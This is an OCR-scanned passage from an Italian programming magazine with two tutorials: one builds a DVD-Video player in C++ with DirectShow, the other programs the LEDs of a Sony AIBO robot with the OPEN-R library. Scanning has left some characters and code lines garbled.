un DVD e le differenze con i comuni CD-ROM. 
Fisicamente il DVD ha le stesse caratteristiche di 
un CD-ROM: ha un diametro di 12 centimetri e 
ha uno spessore di 1.2 millimetri; la superficie 
del disco è formata da una serie di parti lucide ed 
opache in cui la transizione di queste aree (pit) 
determina i dati contenuti nel CD /DVD. 
In un CD-ROM le dimensioni dei pit è di 0,8 
micrometri mentre la distanza tra una traccia e 
quella adiacente è di 1,6 micrometri. 
In un DVD, invece, la dimensione di un pit è di 
0,4 micrometri (la metà del CD-ROM) mentre la 
distanza tra una traccia e l'altra è di 0,7 micro- 
metri (meno della metà) . 



y^vr 




Fig. 1: a) Dimensione pit CD. b) Dimensione pit DVD. 

Si capisce perché i dati contenuti in un DVD 
sono molti di più rispetto ai dati contenuti in un 
CD. Questo spazio disponibile viene aumentato 
dal fatto che si possono immagazzinare dati su 
due strati (double-layer) dello stesso DVD (cam- 
biando la focalizzazione del laser che deve legge- 
re i pit). Per di più, i DVD possono essere utiliz- 
zati su entrambe le facce (double-sided) . 

DVD VIDEO 

Il formato DVD Video comprende dati video, 



audio ed informazioni di controllo. Ad esem- 
pio è possibile visualizzare un filmato da 
diverse angolazioni, selezionando lingue o 
sottotitoli differenti, se le informazioni neces- 
sarie sono presenti sul DVD Video. E' anche 
possibile spostarsi in punti o capitoli differen- 
ti del filmato. I lettori DVD standard sono in 
grado di utilizzare tutte le caratteristiche dei 
DVD Video. Su un PC si può riprodurre un DVD 
Video solo se è installato un opportuno deco- 
der hardware (MPEG-2). Sono stati definiti 
alcuni parametri di base che permettono ai 
lettori DVD Video di riconoscere indifferente- 
mente dischi creati sfruttando tutte le possibi- 
lità del formato (multicamera, multilingua, 
interattività, etc.) e allo stesso tempo riprodur- 
re correttamente DVD contenenti un semplice 
filmato realizzati senza il supporto di produ- 
zioni colossali. 

Formato video 

Il formato video comune a tutti i DVD Video è 
MPEG-2 nella versione MP@ML {Mairi Profile 
@ Mairi Level) . Il data rate può arrivare fino a 
9,8 Mbps (completo di audio, sottotitoli ed 
altre informazioni). I formati supportati sono 
4:3 e 16:9. 

Formato audio 

Inizialmente si era deciso di utilizzare il for- 
mato Dolby Digital (compressione AC-3) per i 
paesi che utilizzano lo standard NTSC, ed il 
formato audio MPEG-2 nei paesi standard 
PAL. In seguito si è deciso di accettare entram- 
bi i formati in Europa, semplificando il proces- 
so di produzione e velocizzando la distribuzio- 
ne. Il Dolby Digital supporta fino a 6 canali (il 
sesto è assegnato al subwoofer, da cui si defi- 
nisce comunemente il formato con 5.1) e 
MPEG-2 fino a 8 (indicato con 7.1). 




Ci CD □ WEB 

DV0_Player.zip 



''■■■• ' 




GLOSSARIO 



DVD GRAPH 
BUILDER 

Le applicazioni devono 
usare questo 
componente per 
costruire i filtri grafici 
per la navigazione 
e la riproduzione del 
DVD-Video. Per la sua 
creazione bisogna 
usare CoCreatelnstance. 



http://www.ioprogrammo.it 



Dicembre 2003/117 ► 



ADVANCED EDITION T la gestione multimediale in Windows 





GLOSSARIO 



IL COMPONENTE 
GETDVDINTERFACE 

Questo componente 

recupera il puntatore 

alla interfaccia 

specificata. 

HRESULT GetDvdlnterface 

(REFIID riid, void 

**ppvIF); 

Parametri: 

riid 

[in] IID dell'interfaccia 

specificata. 

ppvIF 

[out] Indirizzo del 

puntatore all'interfaccia 

recuperata. 

Valori restituiti 

Ritorna un valore 

HRESULT che dipende 

dall'implementazione 

dell'interfaccia. 



Parental Management Levels 

Tutte le parti di un Dvd possono essere codifica- 
te con Parental Management Level (PML) nume- 
rate da uno ad otto. Otto è il livello massimo di 
restrizione (per soli adulti) e uno è il valore mini- 
mo (per tutte le età). 

Altre informazioni 

Oltre ai vantaggi pratici (qualità garantita nel 
tempo, dimensioni contenute), uno dei vantaggi 
principali del DVD Video è l'interattività: ad 
esempio, sono supportate fino ad 8 versioni 
audio (quindi 8 lingue differenti) e fino a 32 trac- 
ce per i sottotitoli. Inoltre il filmato può essere 
suddiviso in capitoli e si possono selezionare 
fino a 9 posizioni angoli di visuale diversi, senza 
introdurre alcun ritardo nella riproduzione. 
Altre due funzioni importanti riguardano i codi- 
ci regionali e la protezione dalla copia. 
Vi sono 6 codici regionali che hanno lo scopo di 
impedire la riproduzione dei DVD Video con un 
certo codice su riproduttori che prevedono codi- 
ci differenti. 



APPLICAZIONI DVD 

Le applicazioni realizzate in C/C++ usano le 
Microsoft® DirectShow® Component Object 
Model (COM) application programming interfa- 
ce (API). DirectShow fornisce un componente 
chiamato DVD Navigator che semplifica la navi- 
gazione del DVD in C++. 

Il DVD Navigator filter lavora su l'intero DVD- 
Video, che è composto dai file presenti nella 
directory VIDEO_TS. Diversamente da molti fil- 








Cybeilink Audio Decoder 







Sion Mcnags (ACM/ICM) 



Line 21 I 

Decoder I 



DVD 
Navigator 




Video fr 
Subpicture 

Decoder 




Overlay 












Video 




Mixer 




Renderer 




1 


















Audio 

Decoder 




DirectSound 




Aud 


o Renderer 



Fig. 3: DVD filter graph su Windows Xp 



Fig. 4: Schema generale del DVD filter graph. 

tri DirectShow, che lavorano con file e stream 
singoli, il DVD Navigator usa la struttura del 
DVD-Video che è composta da titoli e capitoli. 

CONFIGURAZIONE 
DEI FILTRI GRAFICI 

Nelle precedenti versioni delle DirectX, per la 
costruzione delle applicazioni, non era necessa- 
rio preoccuparsi dei dettagli dei filtri grafici 
DVD perché, in tutti i casi, era usato un solo tipo 
di renderizzatore video, l'Overlay Mixer. In 
Windows XP è stato introdotto il Video Mixing 
Renderer 7, e nelle DirectX 9 il Video Mixing 
Renderer 9. Cosi ora ci sono tre differenti tipi di 
renderizzatori tra cui scegliere. Il tipo di render 
che l'applicazione deve usare è dipendente da 
tre fattori: 

1) Il sistema operativo. 

2) Il tipo di MPEG-2 decoder. 

3) La scheda video presente sul tuo computer. 

Su Windows XP, 1' Overlay Mixer e il Video 
Renderer sono sostituiti dal Video Mixing 
Renderer Filter 7, e la Line 21 Decoder è sostitui- 
ta dalla Line 21 Decoder 2 filter. Quando è pre- 
sente il decoder hardware è direttamente con- 
nesso alla scheda video tramite la porta video, 
ciò permette la trasmissione dei dati del decoder 
video direttamente alla memoria della scheda 
video senza dover passare per la memoria cen- 
trale. In tutti questi diagrammi, il DVD Navigator 
è il filtro sorgente ed esegue i seguenti compiti: 

• Legge le informazioni dal DVD-Video. 

• Suddivide i video, l'audio e le subpicture in 
stream separati. 

• Invia gli stream ai grafici per ulteriori trat- 
tamenti ed eventuali rendering. 

• Informa l'applicazione degli eventi colle- 
gati al DVD. 



► 118/ Dicembre 2003 



http://www.ioprogrammo.it 



la gestione multimediale in Windows H ▼ ADVANCED EDITION 



L'applicazione comunica e controlla il DVD 
Navigator attraverso le interfacce che ci sono 
messe a disposizione: IDvdControl2, i comandi 
d'impostazione (metodi "set"), IDvdInfo2, chie- 
de al DVD Navigator le infomazioni relative al 
DVD (metodi "get"). Deve inoltre comunicare 
con il filter graph principale attraverso 
IMediaControl per avviare, bloccare o gestire il 
graph. Vi sono altri filtri che consentono di 
gestire la visualizzazione a schermo intero o per 
controllare determinati eventi. 



INDIVIDUARE IL 
PERCORSO DEL DVD 

All'avvio, il DVD Navigator automaticamente 
cerca l'unità contenente il nostro filmato, inco- 
minciando da C, cercando la cartella VIDEO_TS 
nella directory principale. Nel caso in cui avessi- 
mo più unità DVD sul nostro computer è neces- 
sario usare SetDVDDirectory per impostare il 
nostro percorso. 
Per esempio: 

SetDVDDirectory(L"e:\\video_ts"); 



DVD GRAPH BUILDER 

Una volta definiti i puntatori ai filtri grafici, e 
inizializzati a NULL, è necessario creare un' 
istanza del DVD Graph Builder, costruire il 
nostro DVD filter graph e ricevere i puntatori ai 
vari filtri. 



HRESULT hr; 

// Crea un istanza dell'oggetto DVD Graph Builder, 
hr = CoCreateInstance(CLSID_DvdGraphBuilder, 
NULL, 

CLSCTX_INPROC_SERVER, IIDJDvdGraphBuilder, 
reinterpret_cast<void**>(&m_pIDvdGB)); 

// Costruisce il DVD filter graph. 

AM_DVD_RENDERSTATUS buildStatus; 

hr = m_pIDvdGB->RenderDvdVideovolume( 

pszwDiscPath, m_dwRenderFlags, &buildStatus); 
// Riceve il puntatore all'interfaccia DVD Navigator, 
hr = m_pIDvdGB->GetDvdInterface(IID_IDvdInfo2, 

reinterpret_cast<void**>(&m_pIDvdI2)); 
hr = m_pIDvdGB- 
>GetDvdInterface(IID_IDvdControl2, 

reinterpret_cast<void**>(&m_pIDvdC2)); 

// Riceve il puntatore al filtro grafico principale, 
hr = m_pDvdGB->GetFiltergraph(&m_pGraph); 

// Usa il puntatore m_pGraph per ricevere il puntatore 



all'interfaccia IMediaControl, 
hr = m_pGraph->QueryInterface(IID_IMediaControl, 
reinterpret_cast<void**>(&m_pIMC)); 

// Riceve il puntatore a IMediaEventEx, 
// usato per maneggiare il DVD e altri eventi dei filtri 

grafici, 
hr = m_pGraph->QueryInterface(IID_IMediaEventEx, 
reinterpret_cast<void**>(&m_pME)); 

// Usa di nuovo il puntatore al costruttore grafico per 
ricevere l'interfaccia IVideoWindow , 
// per gestire lo stile della finestra e il comportamento 
dei messaggi dei filtri di renderizzazione video, 
hr = m_pIDvdGB- 
>GetDvdInterface(IID_IVideoWindow, 

reinterpret_cast<void**>(&m_pIVW)); 
//Il puntatore alla Line21 per la gestione delle closed 

captions. 
hr = m_pDvdGB->GetDvdInterface( 

IIDJAM Li ne21 Decoder, reinterpret_cast<void**> 

(&pL21Dec)); 



INTERFACCIA 
IDVDCOMTROL2 

Il filtro sorgente DVD Navigator utilizza l'inter- 
faccia IDvdControl2 per permettere alle appli- 
cazioni di navigare ed eseguire i titoli del DVD- 
Video. IDvdControl2 consente di gestire la 
riproduzione del nostro DVD gestendo i coman- 
di, i menù di navigazione e i PML.Questi sono 
alcuni dei comandi principali, gli altri sono pre- 
senti in DvdCore.cpp. 

//Riproduce il filmato 

HRESULT CDvdCore::Play() 

{ 

//Riproduce il filmato, 1.0 è la velocità 

H 

m_pIDvdC2->PlayForwards(1.0, 0, NULL); 

} 

//Va ad un determinato capitolo 

bool CDvdCore::PlayChapter(ULONG ulChap) 

{ 

HRESULT hr = m_pIDvdC2->PlayChapter(ulChap, 
DVD_CMD_FLAG_Block, NULL); 

} 

//Blocca l'esecuzione del filmato 
bool CDvdCore: :Stop() 

{ 

switch (m_eState) 





GLOSSARIO 



IL COMPONENTE 

RENDERDVD 

VIDEOVOLUME 

Questo componente 
renderizza il DVD-Video. 

RenderDvdVideovolume( 

LPCWSTR IpcwszPathName, 

DWORD dwFlags, 

AM_DVD_RENDERSTATUS 

*pStatus 

); 

Parametri: 

IpcwszPathName 
[in] Puntatore al 
percorso del DVD-Video 
da riprodurre. 

dwFlags 

[in] Membro di 

AM„DVD„GRAPrLFLAGS 

indica il tipo di decoder 

(hardware, software o 

entrambi) da includere 

nel filtro grafico. 

Di default è AM DVD 

HWDEC PREFER. 

pStatus 

[out] Puntatore alla 
struttura AM_DVD_ 
RENDERSTATUS che 
indica se si sono 
verificati errori. 

Valori restituiti 
Ritorna un valore 
HRESULT che dipende 
dall'implementazione 
dell'interfaccia. 



http://www.ioprogrammo.it 



Dicembre 2003/119 ^ 



ADVANCED EDITION T la gestione multimediale in Windows 





GLOSSARIO 



IL METODO 
CETFILTERCRAPH 

Questo metodo riceve 
l'interfaccia 
IGraphDuilder per il fil- 
tro grafico usato dall' 
oggetto costruttore 
DVD-Video. 

HRESULT GetFiltergraph( 
IGraphBuilder **ppGB 

); 
Parametri: 

ppGB 
[out] Indirizzo del punta- 
tore all'interfaccia 
IGraphBuilder che il 
costruttore grafico DVD- 
Video sta usando. 

Valori restituiti 
Ritorna un valore HRE- 
SULT che dipende dal- 
l'implementazione del- 
l'interfaccia. La corrente 
implementazione 
DirectShow restituisce 
EJNVALIDARG se ppGB 
non è valido. 




SUL WEB 



http://www,microsoft.com 

/Developer/PRODINFO/ 

directx/dxm/help/ds/filtsamp/ 

C C++ Samp Apps.htm 

http://www. itportal.it/ 

developer/vb/dvd/default. 

asp 

http://vwvw.ihhc.net/vis. 
asp?xml=glossario#1 7 



{ 




case Graph_Stopped2: 




hr = m_pIDvdC2->SetOption( 
DVD_ResetO 


nStop 


, TRUE); 


hr = m_pIMC->Stop(); 




hr = m_pIDvdC2->SetOption( 
DVD_ResetOr 


Stop, 


FALSE); 


break; 




} 


} 


//Riavvolge il filmato 


bool CDvdCore: :Rewind() 


{ 




m_ 


if (Playing == m_eState || Scanning 
_eState) 


= = 




{ 




if (FAILED(m_pIDvdC2->PlayBackwards 


[8.0, 0, 
NULL))) 


return false; 


SetState(Scanning); 


return true; } 




} 



ALTRE FUNZIONI 

Per aver una miglior visione del nostro DVD- 
Video è necessario aggiungere altre funzioni al 
nostro player, come ad esempio la possibilità di 
poterlo visualizzare a schermo intero e di poter 
nascondere il cursore del mouse dopo un 
tempo prestabilito di inattività. 

//Visualizzazione a schermo intero 
bool CDvdCore: :StartFullScreen() 

{ 

HRESULT hr ; 

// memorizza la posizione della finestra 

LONG ILeft, ITop, IWidth, IHeight ; 

hr = m_pIVW->GetWindowPosition(&ILeft, &ITop, 

&IWidth, &IHeight) ; 

ASSERT(SUCCEEDED(hr)) ; 

SetRect(&m_RectOrigVideo, ILeft, ITop, ILeft + 

IWidth, ITop + IHeight) ; 

// salva lo stile originale 

hr = m_pIVW->get_WindowStyle(&m_IOrigStyle) ; 

ASSERT(SUCCEEDED(hr)) ; 

hr = m_pIVW- 

>getJ/VindowStyleEx(&mJOrigStyleEx); 

ASSERT(SUCCEEDED(hr)) ; 

// modifica lo stile della finestra 
hr = m_pIVW->put_WindowStyle(mJOrigStyle & 
-(WSJ30RDER | WS_CAPTION | 

WS_THICKFRAME)) ; // rimuove questi stili 



ASSERT(SUCCEEDED(hr)) ; 

hr = m_pIVW- 
>put_WindowStyleEx(m_IOrigStyleEx & 

~(WS_EX_CLIENTEDGE | WS_EX_STATICEDGE 

I 

WS_EX_WINDOWEDGE | 

WS_EX_DLGMODALFRAME) | 

WS_EX_TOPMOST) ; 

ASSERT(SUCCEEDED(hr)) ; 

// allunga la finestra per adattarla alle dimensioni 

dello schermo 

LONG IScrnWidth = 
GetSystemMetrics(SM_CXSCREEN); 

LONG IScrnHeight = 
GetSystemMetrics(SM_CYSCREEN); 

hr = m_pIVW->SetWindowPosition(0, 0, 
IScrnWidth, IScrnHeight) ; 

ASSERT(SUCCEEDED(hr)); 

// avvia la funzione per nascondere il cursore del 

mouse 

m_dwMouseMoveTime = timeGetTime(); 

SetTimer(m_hWnd, MOUSETIMER, 2500, NULL); 

m_bFullScreenOn = true; 

return true ; 

} 

//Nasconde il puntatore del mouse 

void CDvdCore: :ShowMouseCursor(bool bShow) 

{ 

if (true == bShow) // mostra il cursore 

{ 

while (mJMouseShowCount < 0) 

{ 

mJMouseShowCount = : :ShowCursor(TRUE) 

} 

m_dwMouseMoveTime = timeGetTime() ; 

} 

else // nasconde il cursore 

{ 

while (mJMouseShowCount >= 0) 
{ mJMouseShowCount = 

::ShowCursor(FALSE); } 

} 



CONCLUSIONI 

Come avete notato realizzare un'applicazione 
che ci consente di leggere.navigare e gestire un 
DVD-Video è abbastanza semplice utilizzando i 
filtri e le interfacce grafiche delle Direct Show. 
Certamente era molto più comodo usare 
l'activeX MsWebDVD e integrarlo in un'applica- 
zione scritta in VisualBasic ma non avremmo 
avuto la possibilità di personalizzare completa- 
mente il nostro progetto. Al prossimo articolo! 

Massimiliano Pizzola 



► 120/ Dicembre 2003 



http://www.ioprogrammo.it 



Robot programming ■ T ADVANCED EDITION 



La nuova frontiera dell'informatica: i robot 



La programmazione 



dei SONY AIBO 



parte seconda 



In questo secondo e ultimo appuntamento sulla programmazione 
dei robot-cagnolino della Sony, gli AIBO, vedremo, tramite 
un esempio, la programmazione dell'hardware. 



Abbiamo visto nella precedente discussio- 
ne sulla programmazione degli AIBO, 
quali sono i principi di funzionamento 
dei programmi sviluppati per questi simpatici 
robot. In particolare si è visto come sia necessa- 
rio utilizzare le librerie OPEN-R, che racchiudo- 
no la logica di esecuzione del software nonché 
tutte le funzioni utili per accedere all'hardware 
del cane (sensori, motori di movimento, mi- 
crofono, rete wireless ecc.). Un programma per 
AIBO è un insieme di "oggetti C++ speciali" detti 
"Core Classes" (CC), che vengono istanziati 
all'accensione del robot e distrutti al suo spegni- 
mento. Ogni oggetto CC si occupa di una funzio- 
ne particolare (ad es: muovere la testa o le 
zampe, comunicare tramite scheda di rete, cat- 
turare immagini dalla telecamera ecc.); i vari 
oggetti possono funzionare in maniera organica, 
comunicando tra loro tramite un meccanismo di 
"Soggetto - Osservatore" (Subject - Observer) in 
cui un oggetto CC (il Subject) fa qualcosa e la 
comunica a un altro oggetto CC (l'Observer) che 
verosimilmente ne utilizzerà i risultati. Gli 
oggetti CC sono quindi dei veri e propri pro- 
grammi che vivono di vita propria e possono 
essere tranquillamente paragonati ai cosiddetti 
processi dei sistemi operativi dei comuni PC 
(Windows, Linux ecc.). 

Abbiamo visto, inoltre, che un oggetto C++ per 
essere anche un oggetto CC deve avere alcune 
caratteristiche, tra le quali: 

1. Essere derivato dalla classe OObject. 

2. Implementare quattro funzioni particolari: 
DolnitQ, DoStartO, DoStopO e DoDestroyQ. 
Queste funzioni sono richiamate, in que- 
st'ordine, dal robot durante il ciclo di ese- 
cuzione del software. 



3. Mantenere i riferimenti ai suoi Observer e 
ai suoi Subject (cioè gli oggetti CC di cui 
esso è Observer). 

Rinfrescate quindi le idee sull'argomento che 
stiamo affrontando, dedichiamoci all'analisi di 
un semplice, ma istruttivo, programmino per il 
funzionamento dell'AIBO. 



IIU UM BATTER D'OCCHI 

Il programmino che analizzeremo si chiama 
BlinkingLED ed è davvero molto semplice, tutta- 
via rispetta una struttura di funzionamento ben 
precisa, che rimane tale anche affrontando pro- 
blematiche più complesse. 
Si tratta di un software, composto da un unico 
oggetto CC, che ha lo scopo (come è facile intui- 
re dal nome) di accendere e spegnere alternati- 
vamente i LED luminosi posti sulla testa del- 
l'AIBO, che ne simulano gli occhi. Il codice di 
questo programma fa parte degli esempi a corre- 
do delle librerie OPEN-R scaricabili dal sito 
http://openr.aibo .corti/ previa registrazione gra- 
tuita. Si è deciso di optare per questa soluzione 
in modo da dare la possibilità, a chi interessato, 
di guardare per intero il codice del programma, 
che, per ovvie ragioni, di spazio, non è possibile 
riportare per intero qui. 

Il file da scaricare si chiama OPEN_R_SDK-sam- 
ple-1.1.3-rl.tar.gz (o versione successiva) e il 
codice si trova all'interno della directory "sam- 
ple/BlinkingLEDIBlinkingLED" . 
La logica di funzionamento del programma è 
banale e si può facilmente racchiudere nelle 
poche istruzioni presenti all'interno delle fun- 
zioni DolnitQ e DoStartO, che riportiamo di se- 
guito: 





OPEN-R 

Le librerie OPEN-R 
racchiudono la logica 
di esecuzione del 
software nonché tutte 
le funzioni utili per 
accedere all'hardware 
del cane (sensori, 
motori di movimento, 
microfono, rete 
wireless ecc.). 



http://www.ioprogrammo.it 



Dicembre 2003/121 ► 



ADVANCED EDITION T 



Robot programming 



OStatus 

BlinkingLED: :DoInit(const OSystemEvent& event) { 

//...varie macro di inizializzazione qui... 
OpenPrimitives(); 

NewCommandVectorData(); 

OStatus st = OPENR: :SetMotorPower(opowerON); 
return oSUCCESS; 

} 

OStatus 

BlinkingLED: :DoStart(const OSystemEvent& event) { 

BlinkLEDQ; 

blinkingLEDState = BLS_START; 

//...altre macro di inizializzazione qui... 
return oSUCCESS; 
} 

La funzione DoInitO (che è quella chiamata per 
prima) sostanzialmente fa tre cose: 

1. Apre le primitive di comando dei LED; 

2. Alloca la memoria condivisa per utilizzare 
tali primitive di comando; 

3. Accende i motori dell'AIBO. 

Il punto 1 è ottenuto tramite la funzione Open- 
PrimitivesO, definita sempre all'interno della CC 
BlinkingLED, che ha il seguente codice: 



void 


Bl 


inkingLED: 


:OpenPrimitives() 




{ 




for (int i = 


= 0; 


i < NUM_LEDS; i++) 


{ 




OStatu 


s result = OPENR: 
LED_ 


:OpenPrimitive( 
_LOCATOR[i], &ledID[i]); 




if (resi 


ilt ! = 


: oSUCCESS) {/*... messaggio di 

errore qui...*/ 


} 


} 


} 



in pratica essa non fa altro che richiamare, per ogni 
LED (NUM_LED è uguale a 7, tanti sono i LED del- 




l'AIBO) una funzione OPEN-R chiamata Open- 
PrimitiveQ che ha lo scopo, per l'appunto, di abili- 
tare controllo di una primitiva dell'AIBO. Una pri- 
mitiva di controllo è individuata da una stringa detta 
"locator"; ad esempio; per i LED le primitive sono 
definite nel file BlinkingLED. h come segue: 



static const char* const LED_LOCATOR[] = 


{ 


"PRM:/rl/cl/c2/c3/ll-LED2:ll", 


"PRM:/rl/cl/c2/c3/l2-LED2:l2", 


"PRM:/rl/cl/c2/c3/l3-LED2:l3", 


"PRM:/rl/cl/c2/c3/l4-LED2:l4", 


"PRM:/rl/cl/c2/c3/l5-LED2:l5", 


"PRM:/rl/cl/c2/c3/l6-LED2:l6", 


"PRM:/rl/cl/c2/c3/l7-LED2:l7", 


}; 



I vari elementi dell' array LED_LOCATOR[] sono le 
stringhe di identificazione delle primitive dei LED 
da 1 a 7 (come si può intuire dai nomi, sebbene non 
siano del tutto esplicativi). Ogni elemento hardware 
del robot, controllabile da software, ha un suo loca- 
tor. Ad esempio per l'articolazione principale della 
zampa posteriore sinistra abbiamo: 



"PRM:/r3/cl-Joint2:jl" 


mentre per il motorino che 
ruotare abbiamo: 


permette 


alla testa di 


"PRM:/rl/cl-Joint2:jl" 



Insomma, come si può vedere queste primitive di 
controllo non sono per nulla "di alto livello", ma 
partendo da esse è sempre possibile costruirsi delle 
funzioni più amichevoli come GiraTestaQ o Muo- 
viZampaQ. Tornando alla nostra funzione DoInitO 
scopriamo che, una volta aperte le primitive di con- 
trollo, è necessario assegnare loro una zona di me- 
moria condivisa (shared memory) per poterle utiliz- 
zare. Il perché di questa operazione è presto detto: 
assegnando una zona di memoria condivisa tra 
nostro programma e la primitiva di controllo del di- 
spositivo hardware, è possibile comandare quest'ul- 
timo semplicemente scrivendo il comando apposito 
nella zona di memoria riservata. Il meccanismo ri- 
corda un po' il metodo utilizzato dai "demo coders" 
ai tempi di MS-Dos: in quel caso, per disegnare un 
pixel a schermo, veniva allocata una zona di memo- 
ria corrispondente alla memoria della scheda video 
e settato il relativo byte con il valore RGB esadeci- 
male appropriato (da questi esempi si capisce che 
sto diventando vecchio...). L'assegnazione di questa 
zona di memoria è eseguita tramite la funzione 
NewCommandVectorDataO della classe Blinking- 
LED. Il codice che a noi interessa di questa funzione 
è il seguente: 



► 122/Dicembre 2003 



http://www.ioprogrammo.it 



Robot programming ■ T ADVANCED EDITION 



!++) 



void 

BlinkingLED: :NewCommandVectorData() 

{ 

OStatus result; 

MemoryRegìonlD cmdVecDatalD; 

OCommandVectorData* cmdVecData; 

for (int i = 0; i < NUM_COMMAND_VECTOR; 

{ 

result = OPEI\IR::NewCommandVectorData( 

NUM_LEDS, &cmdVecDataID, &cmdVecData); 

//...controllo dell'errore qui... 
region[i] = new RCRegion(cmdVecData-> 

vectorlnfo.memRegionlD, cmdVecData-> 

vectorlnfo. offset, (void*)cmdVecData, 

cmdVecData->vectorInfo.totalSize); 

cmdVecData->SetNumData(NUM_LEDS); 

for (int j = 0; j < NUM_LEDS; j+ + ) 

{ 

OCommandlnfo* info = cmdVecData->GetInfo(j); 

info->Set(odataLED_COMMAND2, ledID[j], 1); 

OCommandData* data = cmdVecData-> 

GetData(j); 

OLEDCommandValue2* vai = 

(OLEDCommandValue2*)data->value; 

if (i % 2 == 0) 

{val[0].led = (j % 2 == 0) ? oledON : oledOFF;} 

else 

{val[0].led = (j % 2 == 0) ? oledOFF : oledON;} 

val[0].period = 64; // 8ms * 64 = 512ms 

} 



} 



} 



Il codice di questa funzione è quello più complesso 
dell'intero programma e spiegarlo punto per punto 
tutto sarebbe troppo lungo. Cerchiamo di focalizza- 
re i punti più importanti: la prima istruzione degna 
di nota è 

OPENR::NewCommandVectorData(NUM_LEDS, 

&cmdVecDataID, &cmdVecData); 

che è la funzione OPEN-R che esegue l'allocazione 
di memoria condivisa per le primitive. Questa fun- 
zione sostanzialmente prende in input il numero di 
comandi assegnabili nella memoria condivisa crea- 
ta (nel nostro caso un comando per ogni LED, quin- 
di passiamo NUM_LEDS cioè 7) e restituisce, tra- 
mite side-effect sulle variabili passate, un identifica- 
tore per la memoria allocata {&cmdVecDataID) e 
l'indirizzo al quale si trova il vettore di comando che 
possiamo sovrascrivere per impartire i nostri co- 
mandi [&cmdVecDatd). Per vettore di comando 
non si intende altro che un insieme di comandi 
accorpati tra loro. Le zone di memoria allocate ven- 
gono poi immesse in un vettore [regioni]) di oggetti 
RCRegion per una più facile reperibilità successiva. 
Gli oggetti RCRegion mantengono una rappresen- 




tazione della memoria condivisa dell'AIBO e forni- 
scono tutta una serie di funzioni utili per la gestione 
della stessa, anche se in questo specifico esempio 
non se ne utilizza nessuna in particolare; in ogni 
caso è bene sapere della loro esistenza se davvero si 
vuole sviluppare software OPEN-R, in quanto sono 
molto utili e utilizzati. La porzione di codice nella 
quale si decide se un LED deve essere acceso o spen- 
to è quella all'interno dell'istruzione "if. Si può in- 
fatti vedere che, se il vettore di comando è pari (con- 
dizione (i%2== 0)) vengono accesi i LED pari (con 
l'istruzione val[0].led = Q % 2 == 0) ? oledON : 
oledOFF;) altrimenti quelli dispari; viceversa per 
l'altro vettore di comando (i vettori di comando 
sono soltanto due, infatti NUM_COMMAND_ 
VECTOR == 2). Con questo piccolo trucco si ottie- 
ne l'accensione alternata dei LED, per una durata di 
circa mezzo secondo (64 periodi da 8 millisecon- 
di l'uno = 512 millisecondi). Questi valori vengono 
impostati su un oggetto di tipo OLEDCommand- 
Value2 che è per l'appunto deputato alla gestione 
dei comandi ai LED dell'AIBO. Nuovamente si può 
notare come l'utilizzo di queste primitive non sia del 
tutto "user-friendly" ma bisogna tenere conto che 
questa difficoltà di programmazione si può tradurre 
in una maggiore efficienza del codice prodotto, cosa 
che, per le risorse limitate del robot in questione, 
può essere di vitale importanza. La DoInitQ si chiu- 
de con una chiamata alla funzione: 

OPENR: :SetMotorPower(opowerON); 

che, come è facile capire, è la funzione nativa OPEN- 
R che serve ad accendere tutti i motorini elettrici 
dell'AIBO, compresi i LED (è del tutto inutile impar- 
tire comandi a dei dispositivi spenti...). 



LET'S START! 

Per quanto riguarda l'altra funzione "magica" cui 
abbiamo accennato, e cioè DoStartf), possiamo 
dire che essa, oltre alle inizializzazioni del caso effet- 
tuate tramite macro predefinite, non fa altro che 




http://www.ioprogrammo.it 



Dicembre 2003/123 ► 



ADVANCED EDITION T ■ Robot programming 




?»> CONTATTA 
t L'AUTORE 



Se avete consigli, 

suggerimenti o 

considerazioni scrivete 

pure a: 

alfredo.marroccelli® 
ioproqrammo.it 

per esprimere la 
vostra. 



chiamare un'altra funzione dell'oggetto Blinking- 
LED, e precisamente BlinkLEDO il cui codice è ri- 
portato di seguito: 

void 

BlinkingLED::BlinkLED() { 

static int index = -1; 

if (index == -1) { // BlinkLEDO chiamata per la 

prima volta 
index = 0; 

subject[sbjBlink]->SetData(region [index]); 
index++; } 
subject[sbjBlink]->SetData(region [index]); 
subject[sbjBlink]->NotifyObservers(); 
index+ + ; 
index = index % NUM_COMMAND_VECTOR; 



Avendo capito il funzionamento di NewCom- 
mandVectorData() e il meccanismo di impartizio- 
ne di comandi tramite scrittura in memoria condivi- 
sa del comando stesso da eseguire, comprendere il 
comportamento di BlinkLEDO è davvero semplice. 
Questa funzione non fa altro che impartire il vettore 
di comando 1 quando l'indice index è uguale a e il 
vettore di comando 2 quando index è 1. 
Ovviamente questo avviene tramite scrittura in 
memoria condivisa, questa scrittura è effettuata con 
la funzione: 

subject[sbjBlink]->SetData(region [index]); 

questa funzione prende il Subject della classe 
BlinkingLED (subject[sbjBlink]) e imposta come 
comando, tramite la funzione SetDataQ, il coman- 
do contenuto nella regione di memoria condivisa 
puntata da region [index], che abbiamo impostato 
in precedenza nella funzione NewCommandVec- 
torDataQ. Fatto questo viene chiamata, sempre sul 
Subject di BlinkingLED la funzione NotifyObser- 
versQ che "risveglia" tutti gli Observer di Blinking- 
LED notificandogli che è stato impostato un nuovo 
comando. Da notare che con l'istruzione 

index = index % NUM_COMMAND_VECTOR; 

non si fa altro che forzare la variabile index ad assu- 
mere ripetutamente i valori e 1. Già, vi starete 
chiedendo, ma perché "ripetutamente", se non è 
presente alcun ciclo che richiami in continuazione 
BlinkLEDO per effettuare il cambio alternativo di 
LED accesi e spenti? In realtà il ciclo c'è ma è nasco- 
sto! O meglio, è ottenuto tramite un meccanismo 
particolare: l'Observer di BlinkingLED è... Blin- 
kingLED stesso! In pratica quello che succede è che 
l'oggetto CC BlinkingLED (che, ricordiamo, è l'uni- 
co del programma) notifica ogni volta a se stesso di 
avere cambiato la situazione dei LED e, come rispo- 



sta a questa notifica, effettua un'altra modifica, spe- 
culare, alla memoria condivisa. Ovviamente questa 
nuova modifica genera un'altra notifica, sempre a se 
stesso, e si ripete così all'infinito questo ciclo che 
realizza, a tutti gli effetti, il lampeggiamento dei LED. 



LA RICETTA 

Possiamo dire che, sebbene l'esempio analizzato sia 
molto semplice, è tuttavia possibile individuare una 
specie di "ricetta" da potere seguire ogni volta che si 
accede a un dispositivo hardware dell'AIBO. Questa 
ricetta è presente anche nel nostro BlinkingLED e 
la possiamo riassumere nei seguenti semplici passi: 

1. Aprire le primitive che ci interessano (l'e- 
lenco delle primitive è presente nella docu- 
mentazione ufficiale). 

2. Assegnare a ogni primitiva una zona di me- 
moria condivisa da potere sovrascrivere per 
impartire comandi (e tenere il riferimento a 
tale zona tramite un oggetto RCRegion). 

3. Accendere i vari motori! 

